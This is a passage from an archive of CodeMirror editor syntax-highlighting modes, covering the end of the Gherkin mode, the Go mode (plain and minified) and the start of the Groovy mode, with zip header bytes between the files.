ها|امثلة|דוגמאות|Үрнәкләр|Сценарији|Примеры|Примери|Приклади|Мисоллар|Мисаллар|Σενάρια|Παραδείγματα|You'll
wanna|Voorbeelden|Variantai|Tapaukset|Se þe|Se the|Se
ðe|Scenarios|Scenariji|Scenarijai|Przykłady|Primjeri|Primeri|Příklady|Príklady|Piemēri|Példák|Pavyzdžiai|Paraugs|Örnekler|Juhtumid|Exemplos|Exemples|Exemple|Exempel|EXAMPLZ|Examples|Esempi|Enghreifftiau|Ekzemploj|Eksempler|Ejemplos|Dữ
liệu|Dead men tell no
tales|Dæmi|Contoh|Cenários|Cenarios|Beispiller|Beispiele|Atburðarásir):/))
{
        state.allowPlaceholders = false;
        state.allowSteps = true;
        state.allowBackground = false;
        state.allowMultilineArgument = true;
        return "keyword";

      // SCENARIO
      } else if (!state.inKeywordLine && state.allowScenario
&&
stream.match(/(場景|场景|劇本|剧本|シナリオ|시나리오|เหตุการณ์|ಕಥಾಸಾರಾಂಶ|సన్నివేశం|ਪਟਕਥਾ|परिदृश्य|سيناريو|سناریو|תרחיש|Сценарій|Сценарио|Сценарий|Пример|Σενάριο|Tình
huống|The thing of it
is|Tapaus|Szenario|Swa|Stsenaarium|Skenario|Situai|Senaryo|Senario|Scenaro|Scenariusz|Scenariu|Scénario|Scenario|Scenarijus|Scenārijs|Scenarij|Scenarie|Scénář|Scenár|Primer|MISHUN|Kịch
bản|Keadaan|Heave
to|Forgatókönyv|Escenario|Escenari|Cenário|Cenario|Awww, look
mate|Atburðarás):/)) {
        state.allowPlaceholders = false;
        state.allowSteps = true;
        state.allowBackground = false;
        state.allowMultilineArgument = false;
        state.inKeywordLine = true;
        return "keyword";

      // STEPS
      } else if (!state.inKeywordLine && state.allowSteps
&&
stream.match(/(那麼|那么|而且|當|当|并且|同時|同时|前提|假设|假設|假定|假如|但是|但し|並且|もし|ならば|ただし|しかし|かつ|하지만|조건|먼저|만일|만약|단|그리고|그러면|และ
|เมื่อ |แต่ |ดังนั้น
|กำหนดให้ |ಸ್ಥಿತಿಯನ್ನು
|ಮತ್ತು |ನೀಡಿದ |ನಂತರ |ಆದರೆ
|మరియు |చెప్పబడినది |కాని |ఈ
పరిస్థితిలో |అప్పుడు |ਪਰ |ਤਦ
|ਜੇਕਰ |ਜਿਵੇਂ ਕਿ |ਜਦੋਂ |ਅਤੇ |यदि
|परन्तु |पर |तब |तदा |तथा |जब
|चूंकि |किन्तु |कदा |और |अगर |و
|هنگامی |متى |لكن |عندما |ثم |بفرض |با فرض
|اما |اذاً |آنگاه |כאשר |וגם |בהינתן |אזי |אז
|אבל |Якщо |Һәм |Унда |Тоді |Тогда |То |Также
|Та |Пусть |Припустимо, що |Припустимо
|Онда |Но |Нехай |Нәтиҗәдә |Лекин |Ләкин
|Коли |Когда |Когато |Када |Кад |К тому же |І
|И |Задато |Задати |Задате |Если |Допустим
|Дано |Дадено |Вә |Ва |Бирок |Әмма |Әйтик
|Әгәр |Аммо |Али |Але |Агар |А також |А |Τότε
|Όταν |Και |Δεδομένου |Αλλά |Þurh |Þegar |Þa þe
|Þá |Þa |Zatati |Zakładając |Zadato |Zadate |Zadano |Zadani |Zadan |Za
předpokladu |Za predpokladu |Youse know when youse got |Youse know like
when |Yna |Yeah nah |Y'know |Y |Wun |Wtedy |When y'all |When
|Wenn |WEN |wann |Ve |Và |Und |Un |ugeholl |Too right |Thurh |Thì |Then
y'all |Then |Tha the |Tha |Tetapi |Tapi |Tak |Tada |Tad |Stel |Soit
|Siis |Și |Şi |Si |Sed |Se |Så |Quando |Quand |Quan |Pryd |Potom |Pokud
|Pokiaľ |Però |Pero |Pak |Oraz |Onda |Ond |Oletetaan |Og |Och |O zaman
|Niin |Nhưng |När |Når |Mutta |Men |Mas |Maka |Majd |Mając |Mais |Maar
|mä |Ma |Lorsque |Lorsqu'|Logo |Let go and haul |Kun |Kuid |Kui
|Kiedy |Khi |Ketika |Kemudian |Keď |Když |Kaj |Kai |Kada |Kad |Jeżeli
|Jeśli |Ja |It's just unbelievable |Ir |I CAN HAZ |I |Ha |Givun
|Givet |Given y'all |Given |Gitt |Gegeven |Gegeben seien |Gegeben sei
|Gdy |Gangway! |Fakat |Étant donnés |Etant donnés |Étant données
|Etant données |Étant donnée |Etant donnée |Étant donné |Etant donné
|Et |És |Entonces |Entón |Então |Entao |En |Eğer ki |Ef |Eeldades |E
|Ðurh |Duota |Dun |Donitaĵo |Donat |Donada |Do |Diyelim ki |Diberi
|Dengan |Den youse gotta |DEN |De |Dato |Dați fiind |Daţi fiind |Dati
fiind |Dati |Date fiind |Date |Data |Dat fiind |Dar |Dann |dann |Dan |Dados
|Dado |Dadas |Dada |Ða ðe |Ða |Cuando |Cho |Cando |Când |Cand |Cal |But
y'all |But at the end of the day I reckon |BUT |But |Buh |Blimey!
|Biết |Bet |Bagi |Aye |awer |Avast! |Atunci |Atesa |Atès |Apabila
|Anrhegedig a |Angenommen |And y'all |And |AN |An |an |Amikor
|Amennyiben |Ama |Als |Alors |Allora |Ali |Aleshores |Ale |Akkor |Ak |Adott
|Ac |Aber |A zároveň |A tiež |A taktiež |A také |A |a |7 |\* )/)) {
        state.inStep = true;
        state.allowPlaceholders = true;
        state.allowMultilineArgument = true;
        state.inKeywordLine = true;
        return "keyword";

      // INLINE STRING
      } else if (stream.match(/"[^"]*"?/)) {
        return "string";

      // PLACEHOLDER
      } else if (state.allowPlaceholders &&
stream.match(/<[^>]*>?/)) {
        return "variable";

      // Fall through
      } else {
        stream.next();
        stream.eatWhile(/[^@"<#]/);
        return null;
      }
    }
  };
});

CodeMirror.defineMIME("text/x-feature", "gherkin");

});
PKE��[��װ(�(&codemirror/mode/gherkin/gherkin.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("gherkin",(function(){return{startState:function(){return{lineNumber:0,tableHeaderLine:!1,allowFeature:!0,allowBackground:!1,allowScenario:!1,allowSteps:!1,allowPlaceholders:!1,allowMultilineArgument:!1,inMultilineString:!1,inMultilineTable:!1,inKeywordLine:!1}},token:function(a,b){if(a.sol()&&(b.lineNumber++,b.inKeywordLine=!1,b.inMultilineTable&&(b.tableHeaderLine=!1,a.match(/\s*\|/,!1)||(b.allowMultilineArgument=!1,b.inMultilineTable=!1))),a.eatSpace(),b.allowMultilineArgument){if(b.inMultilineString)return
a.match('"""')?(b.inMultilineString=!1,b.allowMultilineArgument=!1):a.match(/.*/),"string";if(b.inMultilineTable)return
a.match(/\|\s*/)?"bracket":(a.match(/[^\|]*/),b.tableHeaderLine?"header":"string");if(a.match('"""'))return
b.inMultilineString=!0,"string";if(a.match("|"))return
b.inMultilineTable=!0,b.tableHeaderLine=!0,"bracket"}return
a.match(/#.*/)?"comment":!b.inKeywordLine&&a.match(/@\S+/)?"tag":!b.inKeywordLine&&b.allowFeature&&a.match(/(機能|功能|フィーチャ|기능|โครงหลัก|ความสามารถ|ความต้องการทางธุรกิจ|ಹೆಚ್ಚಳ|గుణము|ਮੁਹਾਂਦਰਾ|ਨਕਸ਼
ਨੁਹਾਰ|ਖਾਸੀਅਤ|रूप
लेख|وِیژگی|خاصية|תכונה|Функціонал|Функция|Функционалност|Функционал|Үзенчәлеклелек|Свойство|Особина|Мөмкинлек|Могућност|Λειτουργία|Δυνατότητα|Właściwość|Vlastnosť|Trajto|Tính
năng|Savybė|Pretty much|Požiadavka|Požadavek|Potrzeba
biznesowa|Özellik|Osobina|Ominaisuus|Omadus|OH
HAI|Mogućnost|Mogucnost|Jellemző|Hwæt|Hwaet|Funzionalità|Funktionalitéit|Funktionalität|Funkcja|Funkcionalnost|Funkcionalitāte|Funkcia|Fungsi|Functionaliteit|Funcționalitate|Funcţionalitate|Functionalitate|Funcionalitat|Funcionalidade|Fonctionnalité|Fitur|Fīča|Feature|Eiginleiki|Egenskap|Egenskab|Característica|Caracteristica|Business
Need|Aspekt|Arwedd|Ahoy
matey!|Ability):/)?(b.allowScenario=!0,b.allowBackground=!0,b.allowPlaceholders=!1,b.allowSteps=!1,b.allowMultilineArgument=!1,b.inKeywordLine=!0,"keyword"):!b.inKeywordLine&&b.allowBackground&&a.match(/(背景|배경|แนวคิด|ಹಿನ್ನೆಲೆ|నేపథ్యం|ਪਿਛੋਕੜ|पृष्ठभूमि|زمینه|الخلفية|רקע|Тарих|Предыстория|Предистория|Позадина|Передумова|Основа|Контекст|Кереш|Υπόβαθρο|Założenia|Yo\-ho\-ho|Tausta|Taust|Situācija|Rerefons|Pozadina|Pozadie|Pozadí|Osnova|Latar
Belakang|Kontext|Konteksts|Kontekstas|Kontekst|Háttér|Hannergrond|Grundlage|Geçmiş|Fundo|Fono|First
off|Dis is what went down|Dasar|Contexto|Contexte|Context|Contesto|Cenário
de Fundo|Cenario de Fundo|Cefndir|Bối
cảnh|Bakgrunnur|Bakgrunn|Bakgrund|Baggrund|Background|B4|Antecedents|Antecedentes|Ær|Aer|Achtergrond):/)?(b.allowPlaceholders=!1,b.allowSteps=!0,b.allowBackground=!1,b.allowMultilineArgument=!1,b.inKeywordLine=!0,"keyword"):!b.inKeywordLine&&b.allowScenario&&a.match(/(場景大綱|场景大纲|劇本大綱|剧本大纲|テンプレ|シナリオテンプレート|シナリオテンプレ|シナリオアウトライン|시나리오
개요|สรุปเหตุการณ์|โครงสร้างของเหตุการณ์|ವಿವರಣೆ|కథనం|ਪਟਕਥਾ
ਰੂਪ ਰੇਖਾ|ਪਟਕਥਾ
ਢਾਂਚਾ|परिदृश्य
रूपरेखा|سيناريو مخطط|الگوی
سناریو|תבנית תרחיש|Сценарийның
төзелеше|Сценарий структураси|Структура
сценарію|Структура сценария|Структура
сценарија|Скица|Рамка на
сценарий|Концепт|Περιγραφή
Σεναρίου|Wharrimean is|Template Situai|Template Senario|Template
Keadaan|Tapausaihio|Szenariogrundriss|Szablon scenariusza|Swa hwær swa|Swa
hwaer swa|Struktura scenarija|Structură scenariu|Structura
scenariu|Skica|Skenario konsep|Shiver me timbers|Senaryo taslağı|Schema
dello scenario|Scenariomall|Scenariomal|Scenario Template|Scenario
Outline|Scenario Amlinellol|Scenārijs pēc parauga|Scenarijaus
šablonas|Reckon it's like|Raamstsenaarium|Plang vum Szenario|Plan du
Scénario|Plan du scénario|Osnova scénáře|Osnova Scenára|Náčrt
Scenáru|Náčrt Scénáře|Náčrt Scenára|MISHUN SRSLY|Menggariskan
Senario|Lýsing Dæma|Lýsing Atburðarásar|Konturo de la
scenaro|Koncept|Khung tình huống|Khung kịch bản|Forgatókönyv
vázlat|Esquema do Cenário|Esquema do Cenario|Esquema del
escenario|Esquema de l'escenari|Esbozo do escenario|Delineação do
Cenário|Delineacao do Cenario|All y'all|Abstrakt Scenario|Abstract
Scenario):/)?(b.allowPlaceholders=!0,b.allowSteps=!0,b.allowMultilineArgument=!1,b.inKeywordLine=!0,"keyword"):b.allowScenario&&a.match(/(例子|例|サンプル|예|ชุดของเหตุการณ์|ชุดของตัวอย่าง|ಉದಾಹರಣೆಗಳು|ఉదాహరణలు|ਉਦਾਹਰਨਾਂ|उदाहरण|نمونه
ها|امثلة|דוגמאות|Үрнәкләр|Сценарији|Примеры|Примери|Приклади|Мисоллар|Мисаллар|Σενάρια|Παραδείγματα|You'll
wanna|Voorbeelden|Variantai|Tapaukset|Se þe|Se the|Se
ðe|Scenarios|Scenariji|Scenarijai|Przykłady|Primjeri|Primeri|Příklady|Príklady|Piemēri|Példák|Pavyzdžiai|Paraugs|Örnekler|Juhtumid|Exemplos|Exemples|Exemple|Exempel|EXAMPLZ|Examples|Esempi|Enghreifftiau|Ekzemploj|Eksempler|Ejemplos|Dữ
liệu|Dead men tell no
tales|Dæmi|Contoh|Cenários|Cenarios|Beispiller|Beispiele|Atburðarásir):/)?(b.allowPlaceholders=!1,b.allowSteps=!0,b.allowBackground=!1,b.allowMultilineArgument=!0,"keyword"):!b.inKeywordLine&&b.allowScenario&&a.match(/(場景|场景|劇本|剧本|シナリオ|시나리오|เหตุการณ์|ಕಥಾಸಾರಾಂಶ|సన్నివేశం|ਪਟਕਥਾ|परिदृश्य|سيناريو|سناریو|תרחיש|Сценарій|Сценарио|Сценарий|Пример|Σενάριο|Tình
huống|The thing of it
is|Tapaus|Szenario|Swa|Stsenaarium|Skenario|Situai|Senaryo|Senario|Scenaro|Scenariusz|Scenariu|Scénario|Scenario|Scenarijus|Scenārijs|Scenarij|Scenarie|Scénář|Scenár|Primer|MISHUN|Kịch
bản|Keadaan|Heave
to|Forgatókönyv|Escenario|Escenari|Cenário|Cenario|Awww, look
mate|Atburðarás):/)?(b.allowPlaceholders=!1,b.allowSteps=!0,b.allowBackground=!1,b.allowMultilineArgument=!1,b.inKeywordLine=!0,"keyword"):!b.inKeywordLine&&b.allowSteps&&a.match(/(那麼|那么|而且|當|当|并且|同時|同时|前提|假设|假設|假定|假如|但是|但し|並且|もし|ならば|ただし|しかし|かつ|하지만|조건|먼저|만일|만약|단|그리고|그러면|และ
|เมื่อ |แต่ |ดังนั้น
|กำหนดให้ |ಸ್ಥಿತಿಯನ್ನು
|ಮತ್ತು |ನೀಡಿದ |ನಂತರ |ಆದರೆ
|మరియు |చెప్పబడినది |కాని |ఈ
పరిస్థితిలో |అప్పుడు |ਪਰ |ਤਦ
|ਜੇਕਰ |ਜਿਵੇਂ ਕਿ |ਜਦੋਂ |ਅਤੇ |यदि
|परन्तु |पर |तब |तदा |तथा |जब
|चूंकि |किन्तु |कदा |और |अगर |و
|هنگامی |متى |لكن |عندما |ثم |بفرض |با فرض
|اما |اذاً |آنگاه |כאשר |וגם |בהינתן |אזי |אז
|אבל |Якщо |Һәм |Унда |Тоді |Тогда |То |Также
|Та |Пусть |Припустимо, що |Припустимо
|Онда |Но |Нехай |Нәтиҗәдә |Лекин |Ләкин
|Коли |Когда |Когато |Када |Кад |К тому же |І
|И |Задато |Задати |Задате |Если |Допустим
|Дано |Дадено |Вә |Ва |Бирок |Әмма |Әйтик
|Әгәр |Аммо |Али |Але |Агар |А також |А |Τότε
|Όταν |Και |Δεδομένου |Αλλά |Þurh |Þegar |Þa þe
|Þá |Þa |Zatati |Zakładając |Zadato |Zadate |Zadano |Zadani |Zadan |Za
předpokladu |Za predpokladu |Youse know when youse got |Youse know like
when |Yna |Yeah nah |Y'know |Y |Wun |Wtedy |When y'all |When
|Wenn |WEN |wann |Ve |Và |Und |Un |ugeholl |Too right |Thurh |Thì |Then
y'all |Then |Tha the |Tha |Tetapi |Tapi |Tak |Tada |Tad |Stel |Soit
|Siis |Și |Şi |Si |Sed |Se |Så |Quando |Quand |Quan |Pryd |Potom |Pokud
|Pokiaľ |Però |Pero |Pak |Oraz |Onda |Ond |Oletetaan |Og |Och |O zaman
|Niin |Nhưng |När |Når |Mutta |Men |Mas |Maka |Majd |Mając |Mais |Maar
|mä |Ma |Lorsque |Lorsqu'|Logo |Let go and haul |Kun |Kuid |Kui
|Kiedy |Khi |Ketika |Kemudian |Keď |Když |Kaj |Kai |Kada |Kad |Jeżeli
|Jeśli |Ja |It's just unbelievable |Ir |I CAN HAZ |I |Ha |Givun
|Givet |Given y'all |Given |Gitt |Gegeven |Gegeben seien |Gegeben sei
|Gdy |Gangway! |Fakat |Étant donnés |Etant donnés |Étant données
|Etant données |Étant donnée |Etant donnée |Étant donné |Etant donné
|Et |És |Entonces |Entón |Então |Entao |En |Eğer ki |Ef |Eeldades |E
|Ðurh |Duota |Dun |Donitaĵo |Donat |Donada |Do |Diyelim ki |Diberi
|Dengan |Den youse gotta |DEN |De |Dato |Dați fiind |Daţi fiind |Dati
fiind |Dati |Date fiind |Date |Data |Dat fiind |Dar |Dann |dann |Dan |Dados
|Dado |Dadas |Dada |Ða ðe |Ða |Cuando |Cho |Cando |Când |Cand |Cal |But
y'all |But at the end of the day I reckon |BUT |But |Buh |Blimey!
|Biết |Bet |Bagi |Aye |awer |Avast! |Atunci |Atesa |Atès |Apabila
|Anrhegedig a |Angenommen |And y'all |And |AN |An |an |Amikor
|Amennyiben |Ama |Als |Alors |Allora |Ali |Aleshores |Ale |Akkor |Ak |Adott
|Ac |Aber |A zároveň |A tiež |A taktiež |A také |A |a |7 |\*
)/)?(b.inStep=!0,b.allowPlaceholders=!0,b.allowMultilineArgument=!0,b.inKeywordLine=!0,"keyword"):a.match(/"[^"]*"?/)?"string":b.allowPlaceholders&&a.match(/<[^>]*>?/)?"variable":(a.next(),a.eatWhile(/[^@"<#]/),null)}}})),a.defineMIME("text/x-feature","gherkin")}));PKE��[�dΏ�codemirror/mode/go/go.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("go", function(config) {
  var indentUnit = config.indentUnit;

  var keywords = {
    "break":true, "case":true, "chan":true,
"const":true, "continue":true,
    "default":true, "defer":true,
"else":true, "fallthrough":true, "for":true,
    "func":true, "go":true, "goto":true,
"if":true, "import":true,
    "interface":true, "map":true,
"package":true, "range":true, "return":true,
    "select":true, "struct":true,
"switch":true, "type":true, "var":true,
    "bool":true, "byte":true,
"complex64":true, "complex128":true,
    "float32":true, "float64":true,
"int8":true, "int16":true, "int32":true,
    "int64":true, "string":true,
"uint8":true, "uint16":true, "uint32":true,
    "uint64":true, "int":true, "uint":true,
"uintptr":true, "error": true,
    "rune":true
  };

  var atoms = {
    "true":true, "false":true, "iota":true,
"nil":true, "append":true,
    "cap":true, "close":true, "complex":true,
"copy":true, "delete":true, "imag":true,
    "len":true, "make":true, "new":true,
"panic":true, "print":true,
    "println":true, "real":true,
"recover":true
  };

  var isOperatorChar = /[+\-*&^%:=<>!|\/]/;

  var curPunc;

  function tokenBase(stream, state) {
    var ch = stream.next();
    if (ch == '"' || ch == "'" || ch ==
"`") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    }
    if (/[\d\.]/.test(ch)) {
      if (ch == ".") {
        stream.match(/^[0-9]+([eE][\-+]?[0-9]+)?/);
      } else if (ch == "0") {
        stream.match(/^[xX][0-9a-fA-F]+/) || stream.match(/^0[0-7]+/);
      } else {
        stream.match(/^[0-9]*\.?[0-9]*([eE][\-+]?[0-9]+)?/);
      }
      return "number";
    }
    if (/[\[\]{}\(\),;\:\.]/.test(ch)) {
      curPunc = ch;
      return null;
    }
    if (ch == "/") {
      if (stream.eat("*")) {
        state.tokenize = tokenComment;
        return tokenComment(stream, state);
      }
      if (stream.eat("/")) {
        stream.skipToEnd();
        return "comment";
      }
    }
    if (isOperatorChar.test(ch)) {
      stream.eatWhile(isOperatorChar);
      return "operator";
    }
    stream.eatWhile(/[\w\$_\xa1-\uffff]/);
    var cur = stream.current();
    if (keywords.propertyIsEnumerable(cur)) {
      if (cur == "case" || cur == "default") curPunc =
"case";
      return "keyword";
    }
    if (atoms.propertyIsEnumerable(cur)) return "atom";
    return "variable";
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, next, end = false;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) {end = true; break;}
        escaped = !escaped && quote != "`" &&
next == "\\";
      }
      if (end || !(escaped || quote == "`"))
        state.tokenize = tokenBase;
      return "string";
    };
  }

  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return "comment";
  }

  function Context(indented, column, type, align, prev) {
    this.indented = indented;
    this.column = column;
    this.type = type;
    this.align = align;
    this.prev = prev;
  }
  function pushContext(state, col, type) {
    return state.context = new Context(state.indented, col, type, null,
state.context);
  }
  function popContext(state) {
    if (!state.context.prev) return;
    var t = state.context.type;
    if (t == ")" || t == "]" || t == "}")
      state.indented = state.context.indented;
    return state.context = state.context.prev;
  }

  // Interface

  return {
    startState: function(basecolumn) {
      return {
        tokenize: null,
        context: new Context((basecolumn || 0) - indentUnit, 0,
"top", false),
        indented: 0,
        startOfLine: true
      };
    },

    token: function(stream, state) {
      var ctx = state.context;
      if (stream.sol()) {
        if (ctx.align == null) ctx.align = false;
        state.indented = stream.indentation();
        state.startOfLine = true;
        if (ctx.type == "case") ctx.type = "}";
      }
      if (stream.eatSpace()) return null;
      curPunc = null;
      var style = (state.tokenize || tokenBase)(stream, state);
      if (style == "comment") return style;
      if (ctx.align == null) ctx.align = true;

      if (curPunc == "{") pushContext(state, stream.column(),
"}");
      else if (curPunc == "[") pushContext(state,
stream.column(), "]");
      else if (curPunc == "(") pushContext(state,
stream.column(), ")");
      else if (curPunc == "case") ctx.type = "case";
      else if (curPunc == "}" && ctx.type ==
"}") popContext(state);
      else if (curPunc == ctx.type) popContext(state);
      state.startOfLine = false;
      return style;
    },

    indent: function(state, textAfter) {
      if (state.tokenize != tokenBase && state.tokenize != null)
return CodeMirror.Pass;
      var ctx = state.context, firstChar = textAfter &&
textAfter.charAt(0);
      if (ctx.type == "case" &&
/^(?:case|default)\b/.test(textAfter)) {
        state.context.type = "}";
        return ctx.indented;
      }
      var closing = firstChar == ctx.type;
      if (ctx.align) return ctx.column + (closing ? 0 : 1);
      else return ctx.indented + (closing ? 0 : indentUnit);
    },

    electricChars: "{}):",
    closeBrackets: "()[]{}''\"\"``",
    fold: "brace",
    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    lineComment: "//"
  };
});

CodeMirror.defineMIME("text/x-go", "go");

});
PKE��[ҒZs��codemirror/mode/go/go.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("go",(function(b){function c(a,b){var
c=a.next();if('"'==c||"'"==c||"`"==c)return
b.tokenize=d(c),b.tokenize(a,b);if(/[\d\.]/.test(c))return"."==c?a.match(/^[0-9]+([eE][\-+]?[0-9]+)?/):"0"==c?a.match(/^[xX][0-9a-fA-F]+/)||a.match(/^0[0-7]+/):a.match(/^[0-9]*\.?[0-9]*([eE][\-+]?[0-9]+)?/),"number";if(/[\[\]{}\(\),;\:\.]/.test(c))return
i=c,null;if("/"==c){if(a.eat("*"))return
b.tokenize=e,e(a,b);if(a.eat("/"))return
a.skipToEnd(),"comment"}if(m.test(c))return
a.eatWhile(m),"operator";a.eatWhile(/[\w\$_\xa1-\uffff]/);var
f=a.current();return
k.propertyIsEnumerable(f)?("case"!=f&&"default"!=f||(i="case"),"keyword"):l.propertyIsEnumerable(f)?"atom":"variable"}function
d(a){return function(b,d){for(var
e,f=!1,g=!1;null!=(e=b.next());){if(e==a&&!f){g=!0;break}f=!f&&"`"!=a&&"\\"==e}return(g||!f&&"`"!=a)&&(d.tokenize=c),"string"}}function
e(a,b){for(var
d,e=!1;d=a.next();){if("/"==d&&e){b.tokenize=c;break}e="*"==d}return"comment"}function
f(a,b,c,d,e){this.indented=a,this.column=b,this.type=c,this.align=d,this.prev=e}function
g(a,b,c){return a.context=new f(a.indented,b,c,null,a.context)}function
h(a){if(a.context.prev){var
b=a.context.type;return")"!=b&&"]"!=b&&"}"!=b||(a.indented=a.context.indented),a.context=a.context.prev}}var
i,j=b.indentUnit,k={break:!0,case:!0,chan:!0,const:!0,continue:!0,default:!0,defer:!0,else:!0,fallthrough:!0,for:!0,func:!0,go:!0,goto:!0,if:!0,import:!0,interface:!0,map:!0,package:!0,range:!0,return:!0,select:!0,struct:!0,switch:!0,type:!0,var:!0,bool:!0,byte:!0,complex64:!0,complex128:!0,float32:!0,float64:!0,int8:!0,int16:!0,int32:!0,int64:!0,string:!0,uint8:!0,uint16:!0,uint32:!0,uint64:!0,int:!0,uint:!0,uintptr:!0,error:!0,rune:!0},l={true:!0,false:!0,iota:!0,nil:!0,append:!0,cap:!0,close:!0,complex:!0,copy:!0,delete:!0,imag:!0,len:!0,make:!0,new:!0,panic:!0,print:!0,println:!0,real:!0,recover:!0},m=/[+\-*&^%:=<>!|\/]/;return{startState:function(a){return{tokenize:null,context:new
f((a||0)-j,0,"top",!1),indented:0,startOfLine:!0}},token:function(a,b){var
d=b.context;if(a.sol()&&(null==d.align&&(d.align=!1),b.indented=a.indentation(),b.startOfLine=!0,"case"==d.type&&(d.type="}")),a.eatSpace())return
null;i=null;var
e=(b.tokenize||c)(a,b);return"comment"==e?e:(null==d.align&&(d.align=!0),"{"==i?g(b,a.column(),"}"):"["==i?g(b,a.column(),"]"):"("==i?g(b,a.column(),")"):"case"==i?d.type="case":"}"==i&&"}"==d.type?h(b):i==d.type&&h(b),b.startOfLine=!1,e)},indent:function(b,d){if(b.tokenize!=c&&null!=b.tokenize)return
a.Pass;var
e=b.context,f=d&&d.charAt(0);if("case"==e.type&&/^(?:case|default)\b/.test(d))return
b.context.type="}",e.indented;var g=f==e.type;return
e.align?e.column+(g?0:1):e.indented+(g?0:j)},electricChars:"{}):",closeBrackets:"()[]{}''\"\"``",fold:"brace",blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//"}})),a.defineMIME("text/x-go","go")}));PKE��[���00
codemirror/mode/groovy/groovy.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("groovy", function(config) {
  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }
  var keywords = words(
    "abstract as assert boolean break byte case catch char class const
continue def default " +
    "do double else enum extends final finally float for goto if
implements import in " +
    "instanceof int interface long native new package private
protected public return " +
    "short static strictfp super switch synchronized threadsafe throw
throws trait transient " +
    "try void volatile while");
  var blockKeywords = words("catch class def do else enum finally for
if interface switch trait try while");
  var standaloneKeywords = words("return break continue");
  var atoms = words("null true false this");

  var curPunc;
  function tokenBase(stream, state) {
    var ch = stream.next();
    if (ch == '"' || ch == "'") {
      return startString(ch, stream, state);
    }
    if (/[\[\]{}\(\),;\:\.]/.test(ch)) {
      curPunc = ch;
      return null;
    }
    if (/\d/.test(ch)) {
      stream.eatWhile(/[\w\.]/);
      if (stream.eat(/eE/)) { stream.eat(/\+\-/); stream.eatWhile(/\d/); }
      return "number";
    }
    if (ch == "/") {
      if (stream.eat("*")) {
        state.tokenize.push(tokenComment);
        return tokenComment(stream, state);
      }
      if (stream.eat("/")) {
        stream.skipToEnd();
        return "comment";
      }
      if (expectExpression(state.lastToken, false)) {
        return startString(ch, stream, state);
      }
    }
    if (ch == "-" && stream.eat(">")) {
      curPunc = "->";
      return null;
    }
    if (/[+\-*&%=<>!?|\/~]/.test(ch)) {
      stream.eatWhile(/[+\-*&%=<>|~]/);
      return "operator";
    }
    stream.eatWhile(/[\w\$_]/);
    if (ch == "@") { stream.eatWhile(/[\w\$_\.]/); return
"meta"; }
    if (state.lastToken == ".") return "property";
    if (stream.eat(":")) { curPunc = "proplabel";
return "property"; }
    var cur = stream.current();
    if (atoms.propertyIsEnumerable(cur)) { return "atom"; }
    if (keywords.propertyIsEnumerable(cur)) {
      if (blockKeywords.propertyIsEnumerable(cur)) curPunc =
"newstatement";
      else if (standaloneKeywords.propertyIsEnumerable(cur)) curPunc =
"standalone";
      return "keyword";
    }
    return "variable";
  }
  tokenBase.isBase = true;

  function startString(quote, stream, state) {
    var tripleQuoted = false;
    if (quote != "/" && stream.eat(quote)) {
      if (stream.eat(quote)) tripleQuoted = true;
      else return "string";
    }
    function t(stream, state) {
      var escaped = false, next, end = !tripleQuoted;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) {
          if (!tripleQuoted) { break; }
          if (stream.match(quote + quote)) { end = true; break; }
        }
        if (quote == '"' && next == "$"
&& !escaped && stream.eat("{")) {
          state.tokenize.push(tokenBaseUntilBrace());
          return "string";
        }
        escaped = !escaped && next == "\\";
      }
      if (end) state.tokenize.pop();
      return "string";
    }
    state.tokenize.push(t);
    return t(stream, state);
  }

  function tokenBaseUntilBrace() {
    var depth = 1;
    function t(stream, state) {
      if (stream.peek() == "}") {
        depth--;
        if (depth == 0) {
          state.tokenize.pop();
          return state.tokenize[state.tokenize.length-1](stream, state);
        }
      } else if (stream.peek() == "{") {
        depth++;
      }
      return tokenBase(stream, state);
    }
    t.isBase = true;
    return t;
  }

  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize.pop();
        break;
      }
      maybeEnd = (ch == "*");
    }
    return "comment";
  }

  function expectExpression(last, newline) {
    return !last || last == "operator" || last ==
"->" || /[\.\[\{\(,;:]/.test(last) ||
      last == "newstatement" || last == "keyword" ||
last == "proplabel" ||
      (last == "standalone" && !newline);
  }

  function Context(indented, column, type, align, prev) {
    this.indented = indented;
    this.column = column;
    this.type = type;
    this.align = align;
    this.prev = prev;
  }
  function pushContext(state, col, type) {
    return state.context = new Context(state.indented, col, type, null,
state.context);
  }
  function popContext(state) {
    var t = state.context.type;
    if (t == ")" || t == "]" || t == "}")
      state.indented = state.context.indented;
    return state.context = state.context.prev;
  }

  // Interface

  return {
    startState: function(basecolumn) {
      return {
